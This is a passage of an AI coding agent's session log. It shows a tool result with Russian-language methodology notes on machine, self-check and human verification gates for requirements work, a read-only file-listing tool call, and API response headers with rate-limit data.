\u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430\u043c** | \u0441\u0435\u043a\u0443\u043d\u0434\u044b |\\n| **\u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 (`G-human`)** | \u041d\u0435\u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043c\u044b\u0435 \u0438 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f: \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438, \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u0440\u0438\u0441\u043a\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044e \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 | \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439, \u0443 \u043a\u043e\u0433\u043e \u0435\u0441\u0442\u044c \u043f\u043e\u043b\u043d\u043e\u043c\u043e\u0447\u0438\u0435; \u0443\u0437\u043a\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u043f\u043e \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 | \u0447\u0430\u0441\u044b\u2013\u0434\u043d\u0438 |\\n\\n**\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043c\u043e\u0441\u0442\u0438 `\u041a`.** \u0421\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a `G-mach`, \u0435\u0441\u043b\u0438 \u0435\u0433\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0441 \u0444\u0430\u043a\u0442\u043e\u043c, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0432\u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 (\u0444\u0430\u0439\u043b \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0441\u0442\u0440\u043e\u043a\u0430\\n\u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442, \u0441\u0445\u0435\u043c\u0430 \u0432\u0430\u043b\u0438\u0434\u043d\u0430). \u0421\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a `G-human`, \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0441 **\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u0435\u043c**, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445. \u0412\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 `G-self`,\\n\u0438 \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0438\u043c\u0435\u0435\u0442 \u0441\u0442\u0430\u0442\u0443\u0441 *\u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u044f*, \u0430 \u043d\u0435 *\u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430*.\\n\\n**\u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 `T-1` (\u043e \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438).** `G-self` \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0434\u0435\u0444\u0435\u043a\u0442,\\n\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0437\u0430\u0431\u043b\u0443\u0436\u0434\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u0435\u0442 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u0444\u043e\u0440\u043c\u044b \u0438 \u043d\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u0435\u0442 \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0432\u044b\u0434\u0443\u043c\u043a\u0443 \u0444\u0430\u043a\u0442\u0430. \u041e\u0442\u0441\u044e\u0434\u0430\\n\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e: **\u0444\u0430\u043a\u0442\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u0438\u043c\u0435\u0442\u044c `G-mach`,\\n\u0430 \u043d\u0435 `G-self`** \u2014 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0431\u044b \u0448\u0430\u0433\u043e\u0432 \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0438 \u0431\u044b\u043b\u043e. \u042d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u2014 \u043a\u0435\u0439\u0441 `C-1` \u0432\\n[`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n**\u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 `T-2` (\u043e \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0441\u0442\u0438).** \u0413\u0435\u0439\u0442 \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u0442\u043e\u0433\u0434\u0430 \u0438\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e\u0433\u0434\u0430, \u043a\u043e\u0433\u0434\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e \u0438\u043b\u0438 \u0435\u0433\u043e \u043e\u0442\u043c\u0435\u043d\u0430 \u0434\u043e\u0440\u043e\u0436\u0435, \u0447\u0435\u043c \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435.\\n\u042d\u0442\u043e \u0442\u043e\u0442 \u0436\u0435 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u0447\u0442\u043e \u0443\u0436\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0451\u043d Mango (\u043f\u0440\u0430\u0432\u0438\u043b\u043e `B3`\\n....\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0424\u0422 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0443\u044e\\n\u0434\u0435\u043b\u044c\u0442\u0443\u00bb.\\n\\n**\u0427\u0442\u043e \u043a\u0435\u0439\u0441 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442.** \u042d\u0442\u043e \u0442\u043e\u0442 \u0436\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u0434\u0435\u043b\u044c\u0442\u044b, \u0447\u0442\u043e \u043f\u043e\u043b\u043e\u0436\u0435\u043d \u0432 \u043e\u0441\u043d\u043e\u0432\u0443\\ngovernance-\u0443\u0440\u043e\u0432\u043d\u044f ([`10-theory.md`](10-theory.md), \u043f\u0440\u0430\u0432\u0438\u043b\u043e `D1`), \u043d\u043e \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435\\n\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430: **\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u043b\u0438\u0447\u0438\u0435**. \u0421\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435\\n\u043d\u0435 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e \u2014 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u0438 \u0435\u0451 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043f\u043e\u0434\u0447\u0438\u043d\u044f\u044e\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u043c\u0443 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443, \u0438 \u044d\u0442\u043e\\n\u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 \u0435\u0433\u043e \u043d\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u0435.\\n\\n\u0412\u0442\u043e\u0440\u043e\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435: \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u044f\u043c\u0438 eTOM (Fulfillment \u043f\u0440\u043e\u0442\u0438\u0432\\nAssurance) \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430\u043c\u0438 CBAP, \u0442\u043e \u0435\u0441\u0442\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a **\u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u043e \u0434\u043e\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\\n\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0441\u043b\u043e\u0439 `L1`** \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0440\u0430\u0437\u043e\u0432\u043e. \u042d\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0435 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u0430 `G-08` \u0438\u0437 [`30-decision-framework.md`](30-decision-framework.md).\\n\\n**\u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0434\u043b\u044f \u043d\u0430\u0432\u044b\u043a\u0430.** \u041c\u0430\u0442\u0440\u0438\u0446\u0430 `SSOT \u2192 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u2192\\n\u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u2192 FR \u2192 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0440\u0438\u0451\u043c\u043a\u0438` \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f **\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0432\u044b\u0445\u043e\u0434\u043e\u043c\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043d\u0430\u0432\u044b\u043a\u0430** `delta-baseline`, \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0434\u043e \u043d\u0430\u0432\u044b\u043a\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\\n`fail-closed` \u043d\u0430 \u043f\u0443\u0441\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435. \u0414\u0435\u0444\u0435\u043a\u0442 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e\u0441\u043b\u0435\\n\u0432\u043e\u0437\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f; \u0433\u0435\u0439\u0442 \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435 \u043d\u0430\u0432\u044b\u043a\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0431\u044b \u0435\u0433\u043e \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e.\\n\\n## 4. \u041a\u0435\u0439\u0441 `C-3`: \u0440\u0430\u0437\u0440\u044b\u0432 \u043c\u0435\u0436\u0434\u0443 \u00ab\u043f\u0440\u043e\u043c\u043f\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\u00bb \u0438 \u00ab\u043d\u043e\u0440\u043c\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430\u00bb\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a:** [RUN-0008](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0008)\\n(`kb-citation-check`) \u0438 [RUN-0009](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0009)\\n(`industry-standards-ab-check`).\\n\\n**\u0427\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e.** \u041e\u0431\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u043d\u043e\u0440\u043c\u044b: \u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u0430\u0437\u044b\\n\u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432. \u041e\u0431\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b **\u043a\u0430\u043a \u043f\u0440\u043e\u0433\u043e\u043d \u043c\u043e\u0434\u0435\u043b\u0438**,\\n\u043e\u0431\u0430 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u0432 \u0441\u0442\u0430\u0442\u0443\u0441\u0435 `draft`, \u043e\u0431\u0430 \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u0438\u0441\u044c \u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443.\\n\\n**\u0427\u0442\u043e \u043a\u0435\u0439\u0441 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442.** \u041d\u043e\u0440\u043c\u0430, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0432\u0438\u0434\u0435 \u0442\u0435\u043a\u0441\u0442\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430,\\n3. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043f\u043e\u043c\u0435\u0442\u0438\u0442\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u043e\u0439 \u0438 \u0432\u044b\u043d\u0435\u0441\u0442\u0438 \u0432 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n4. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043d\u0435\u043f\u0443\u0441\u0442\u044b\u0445 \u044f\u0447\u0435\u0435\u043a \u00ab\u0434\u0435\u043b\u044c\u0442\u0430\u00bb.\\n\\n## \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438\\n\u041a\u0430\u0436\u0434\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u043c\u0430\u0442\u0440\u0438\u0446\u044b \u0438\u043c\u0435\u0435\u0442 \u043d\u0435\u043f\u0443\u0441\u0442\u043e\u0439 SSOT; \u043d\u0438 \u043e\u0434\u043d\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435 \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0443 \u0441 \u043f\u0443\u0441\u0442\u043e\u0439 \u0434\u0435\u043b\u044c\u0442\u043e\u0439.\\n\\n## \u0413\u0435\u0439\u0442\\n\u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439, fail-closed: \u043f\u0443\u0441\u0442\u043e\u0439 SSOT \u2014 \u043e\u0442\u043a\u0430\u0437, \u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435.\\n\u0418\u0441\u0447\u0435\u0440\u043f\u0430\u043d\u0438\u0435 retry-limit \u2014 \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f \u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443, \u043d\u0435 \u043e\u0442\u043a\u0430\u0437.\\n```\\n\\n**\u041d\u043e\u0440\u043c\u0430 \u043f\u0440\u043e\u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u0430.** \u0412 \u0431\u043b\u043e\u043a\u0435 `resolved-from` \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e, \u0438\u0437\\n\u043a\u0430\u043a\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0441\u043b\u043e\u0451\u0432 \u0441\u043e\u0431\u0440\u0430\u043d \u043d\u0430\u0432\u044b\u043a, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0438\u0445 \u0447\u0438\u0442\u0430\u0442\u044c: \u044d\u0442\u043e\\n\u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e `I-1` (\u0441\u0430\u043c\u043e\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c) \u0438 `I-3` (\u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c).\",\n[2026-09-29T07:46:21.310Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:21.310Z] [INFO]       }\n[2026-09-29T07:46:21.310Z] [INFO]     ]\n[2026-09-29T07:46:21.310Z] [INFO]   },\n[2026-09-29T07:46:21.310Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:21.310Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:21.310Z] [INFO]   \"uuid\": \"da040b61-6fca-4f84-b4d0-daa05035b056\",\n[2026-09-29T07:46:21.310Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:20.009Z\",\n[2026-09-29T07:46:21.310Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:21.310Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:21.310Z] [INFO] }\n[2026-09-29T07:46:21.321Z] [STDOUT] [log_347d5d] sending request {\n[2026-09-29T07:46:21.326Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:21.333Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:21.338Z] [STDOUT]   options: {\n[2026-09-29T07:46:21.344Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:21.346Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:21.352Z] [STDOUT]     body: {\n[2026-09-29T07:46:21.356Z] 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},\n[2026-09-29T07:46:21.626Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:21.626Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:21.626Z] [INFO]   \"uuid\": \"d63de8f5-4deb-4400-a3a0-7d36ba665375\",\n[2026-09-29T07:46:21.626Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:20.782Z\",\n[2026-09-29T07:46:21.626Z] [INFO]   \"request_id\": \"req_011CfXMphwVUYQVZ2K7oC1NB\",\n[2026-09-29T07:46:21.626Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:46:21.626Z] [INFO]     \"toolu_015k4j5wuZ5fSfuuTE3gGzLc\": {\n[2026-09-29T07:46:21.626Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -n 1,200p tools/validate-file-naming.sh | head -120; ls projects/ba-ai-process projects/ba-ai-process/docs projects/ba-ai-process/docs/*/ | head -60; ls /tmp/research-notes/ 2>/dev/null\",\n[2026-09-29T07:46:21.626Z] [INFO]       \"description\": \"Check naming validator and docs layout\"\n[2026-09-29T07:46:21.626Z] [INFO]     }\n[2026-09-29T07:46:21.626Z] [INFO]   }\n[2026-09-29T07:46:21.626Z] [INFO] }\n[2026-09-29T07:46:21.634Z] [STDOUT] [log_347d5d, request-id: \"req_011CfXMpqEnHPJUCRHAnPwkz\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 961ms\n[2026-09-29T07:46:21.638Z] [STDOUT] [log_347d5d] response start {\n[2026-09-29T07:46:21.642Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:21.645Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:21.648Z] [STDOUT]   headers: {\n[2026-09-29T07:46:21.650Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:21.653Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:21.657Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:21.661Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:21.664Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:21.666Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:21.668Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:21.672Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:21.674Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:21.677Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:21.681Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:21.684Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:21.688Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:21.693Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:21.698Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:21.703Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:21.706Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:21.711Z] [STDOUT]     \"cf-ray\": \"a4295f9b6824dbb5-FRA\",\n[2026-09-29T07:46:21.716Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:21.720Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:21.724Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:21.727Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:21.731Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:21 GMT\",\n[2026-09-29T07:46:21.736Z] [STDOUT]     \"request-id\": \"req_011CfXMpqEnHPJUCRHAnPwkz\",\n[2026-09-29T07:46:21.740Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:21.746Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:21.753Z] [STDOUT]     traceresponse: \"00-fa614fcf96196883e8cbd3e1cff5e92c-1a801fd035a58eb3-01\",\n[2026-09-29T07:46:21.756Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:21.760Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:21.762Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:21.765Z] [STDOUT]   },\n[2026-09-29T07:46:21.768Z] [STDOUT]   durationMs: 961,\n[2026-09-29T07:46:21.773Z] [STDOUT] }\n[2026-09-29T07:46:21.775Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:21.779Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:21 GMT\",\n[2026-09-29T07:46:21.781Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:21.784Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:21.787Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:21.793Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:21.796Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:21.800Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:21.803Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:21.807Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:21.810Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:21.814Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:21.818Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": 